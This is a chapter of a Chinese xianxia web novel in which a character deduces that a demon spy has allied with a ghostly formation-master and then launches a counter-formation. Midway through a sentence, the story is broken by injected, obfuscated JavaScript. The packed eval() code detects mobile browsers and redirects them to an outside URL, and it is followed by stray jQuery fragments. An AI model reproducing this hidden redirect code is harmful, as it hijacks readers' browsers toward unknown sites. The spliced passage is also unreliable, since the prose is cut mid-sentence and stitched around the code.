12. 堕凡

作品:《归来晚

    江念桥呼吸一滞,她虽也想到魔族是想将苍墟境内的宗盟修士一网打尽,但以为顶多是南下时正好路过此地,才因地制宜和鬼祟联手,毕竟除了云阙山这种天险,其他路线都有宗门禁制,想要神不知鬼不觉潜入东陆腹地难如登天。


    此时经陆灵辄一点,才发现自己想得还是太简单了——苍墟境内的这场狩猎从一开始就不是临时起意。


    现在想想,当年巡天司要给她定“叛国罪”还挺有先见之明,江念桥膝下一软,险些有点站不稳了。


    “第二个问题,苍墟境内的阵法从何而来?”陆灵辄又伸出一根手指,“要回答这个问题,我们先来看这里究竟有什么阵法。正如眼前所见,整个苍墟境绵延三百里有余,都笼罩在这白雾之下,光照不褪、风吹不散,人在其中五感削弱,不辨方向。据我所知,世上只有一种阵法能达到这种效果,”他顿了顿,目光扫向面色惨白的傅明珏,不疾不徐道,“宗盟弟子对它的名字或许尚不太陌生,正是云幽城镇宗大阵之一——‘九玄流影’。”


    江念桥登时倒吸一口冷气,她是纯血剑修,巴掌大的脑仁用来记百宗那些眼花缭乱的剑招都捉襟见肘,留给阵名——关键还一个赛一个的佶屈聱牙——的地方极其有限,她听过并还能叫上来的阵名屈指可数,其中就有九玄流影阵。


    东征之战中,云幽城便是用这座大型困阵作为基底辅以五花八门的杀阵重创西南一带的宗门,以至于宗盟门户大开陷入数年苦战。值得一提的是,澜绝门当时身为西南宗门主力,正是首当其冲的那一小批,当时满宗门几乎全员战死,没死的也逃的逃、散的散,最后只剩一个刚入门不久连剑都还拿不稳的小弟子云济。


    而云济就是君唤雨师兄弟五人的师父,也就是传说中那个在澜绝山脚下闭着眼捡孤儿,但一捡就是百里挑一修行天赋的超级锦鲤。


    “‘九玄流影’这个名字因在东征之战中围困绞杀过上千修士而名声大噪,一度成为东陆宗门闻之色变的阵法,但实际上布置启用这种大型阵法,对阵主的灵力和灵识都有极高要求,就算在七十年前的云幽城最盛时期,能够操控它的人也仅包括当时的城主陆红云及其手下的‘堕凡七星’。”


    “云幽城的修士可不似宗盟这般团结友爱,对看家本领向来敝帚自珍,那么答案就呼之欲出了。”他在江念桥和傅明珏震惊的目光中顿住,很有耐心地等他们回过神来。


    “......可、可是陆红云和七星不都在东征之战中死了吗?”江念桥半晌才听见自己干涩的声音响起。


    陆红云,百年前横空出世的南疆天才,是千年来少数几个真正的术剑双修,仅二十岁便以武力强行收服割据混战的南疆六大世家,一手建立云幽城,十年间挑遍修真界未遇敌手,同时网罗天下那些天赋卓绝的少年修士,组建了名为“群星”的精锐队伍,而其中最出色也最令人胆寒的就是那支名为“堕凡”的七人小队。


    毫不夸张地说,宗盟中无论是被人交口称赞的大能长老,抑或是担任一派之尊的掌门宗主,他们中的大多数在堕凡面前只有任人宰割的份。东征之战中,堕凡任一星领队出战,往往都会造成一场惨绝人寰的灭宗惨案,以至于前前后后打了六年,很多修士对陆红云这个名字没什么大的反应,但对堕凡七星却有一种深入骨髓的恐惧。


    陆灵辄点点头:“不错,他们‘应该’都死了。但——”他顿了顿,“人死后若执念过深,不入轮回,便化厉鬼,修士也是人,自然也不例外。这便是第三个问题的答案,阵主的确就是你们一直追捕的那只祟。”


    “我们不妨来猜猜,这次来的‘鬼’究竟是他们中的哪一位呢?从这阵法的灵气强度来看,我们首先可以先排除陆红云本人。但至于是堕凡中的哪个,若傅兄不愿直言相告,那可能就要等它露面才见分晓了。”


    江念桥眼角直跳,傅明珏确实没有危言耸听,无论这里的阵主是堕凡七星的哪位,都绝不是他们这几个初出茅庐的小弟子能对付的,就算把连夜把闭关的君唤雨从坐忘楼里抓过来也未必稳赢。


    恐怕只有天一宗宗主段若影亲临,才能完成本次“除祟”的光荣任务了。


    傅明珏脸色越发阴沉,他冷冷看着陆灵辄,忽然若有所悟道:“你姓陆......你是云幽城的人?”


    陆灵辄侧头看他一眼,微微一笑:“傅兄别急,我们还有最后一个问题没答呢。”


    “第四个问题,你们和阵主是什么关系?”


    傅明珏脸色微变,紧接着五指大张毫无征兆地朝陆灵辄探去,但见陆灵辄微一后仰,几乎以毫厘之差避开他指爪,同时脚下一动,人已在一步开外,他唇角一勾,笑吟吟道:“我又不会跑,傅兄不必急着灭口。”


    傅明珏眉心一皱,刚要抬脚就被一道寒光横拍回来,后背狠狠撞上树干,浓雾中响起江念桥森冷的声音:“别再动了,否则别怪我不客气。”


    她这一下用的力道委实不小,尤其是对现在的他而言,后背传来的剧痛瞬间冲向四肢百骸,差点没让他眼前一黑就这么昏过去。


    “时间有限,我们言归正传。”陆灵辄缓缓向前走出,好整以暇道,“关于第四个问题的答案,我毕竟不是当事人,只能勉力猜测一二,若有谬误,傅兄莫怪。”


    “魔族要为大军开拔扫清障碍,尽可能提前消灭宗门有生力量,而堕凡也与百宗有血海深仇,双方目标高度一致,自然一拍即合,相见恨晚。”


    “傅兄身为魔族,此次请缨南下,当然也以格杀百宗修士为第一要务,然而你曾卧底澜绝山四年,旧情让你不能对同门下杀手,但其他魔族却不会顾忌你那点私心,所以你不得不私下和阵主立契,以求它答应在这次屠杀中对澜绝弟子网开一面,好使你忠义两全。”


    “千年来人魔不两立,但傅兄竟为


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17093302|195533||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    了曾经的人族同门,甘愿付出可能魂飞魄散的代价,的确让人敬佩。”


    江念桥脸上血色尽褪,按住剑柄的手不由一松,傅明珏失去支撑,顺着树干滑落在地,但目光却始终紧紧盯着陆灵辄,好似一头瞄准猎物的猛兽。


    陆灵辄对那道森冷的视线恍若未见,款步走到他面前,神色微敛道:“但有一点我还没想通,云幽城在东征之战战败后元气大伤,虽七十年仍未恢复昔日荣光一成,堕凡阵主再强,如今也不过一孤魂野鬼,它配合你们杀这么多宗门修士,除了一雪旧恨外,似乎并无其他效用?但以我对堕凡小队的了解,他们绝不是会被仇恨蒙蔽的人。如果傅兄知道并且肯不吝赐教的话,陆某会心怀感激的。”


    傅明珏静静地和他对视,半晌忽而一笑,凉凉道:“阁下如此聪慧过人,难道真的想不到么?”


    陆灵辄眼睫微颤,他笑了笑,随即直起身,显然不再打算再问什么,而就在他站直的瞬间,一丝丝飘渺的、淡如桃花氤氲的绯雾自他周身逸出,在绯白雾气接触的瞬间,骤然爆出如冷水滴入滚油的“刺啦”声响。


    绯雾呈旋涡状迅速向外弥漫,如一头从沉睡中苏醒的猛兽疯狂扩张自己的领地,云海般铺天盖地的白茫转瞬被绯雾撕开一个圆形裂口,而那裂口正以肉眼可见的速度增大,白与绯彼此挤压、吞噬,光线在交界处疯狂扭曲,空间都仿佛在微微震颤。


    这是......


    江念桥和傅明珏都怔在原地,抬头望着眼前这难以描述的天地异象,一时间震撼得几乎忘了呼吸。


    “九玄流影一旦启阵,只有两种终结方式,”陆灵辄也望着白绯对峙侵吞的远处,缓缓开口,“要么诛杀阵主,要么在原阵法影响范围内,另起一座‘逆’阵。”


    所谓逆阵,是以阵纹的镜像所绘而成,就江念桥所知,举世所存的大多阵法都可用逆阵破解,但问题是启逆阵所耗灵力和灵识要比正阵多上一倍不止,如果把启逆阵比作逆水行舟,那正阵就像是顺水而下,再额外送一道顺风。


    也正因此,这种破阵之法几乎一直被束之高阁。


    不是,等等!


    缚灵丝阵中他的“同伤共苦”明明让她连一剑都挥不出来!


    江念桥咽了咽唾沫,干涩道:“......你的修为能启动......这么大的逆阵吗?”


    傅明珏方才推测陆灵辄是云幽城的人,显然是有道理的,毕竟除了云幽城,不会有人还能这么了解九玄流影阵以至于可以布出它的逆阵。


    然而即便如此,布阵和启阵也完全不是一回事,他固然可以将复杂晦涩的阵印绘出,但正如他自己所说,启动这种大型阵法所需的灵力和灵识本就到匪夷所思的地步,遑论它的逆阵!


    陆灵辄眨了眨眼睛,故作神秘地笑道:“启阵的当然另有其人。”他顿了下,又补充一句,“我想你很快就会见到他的。”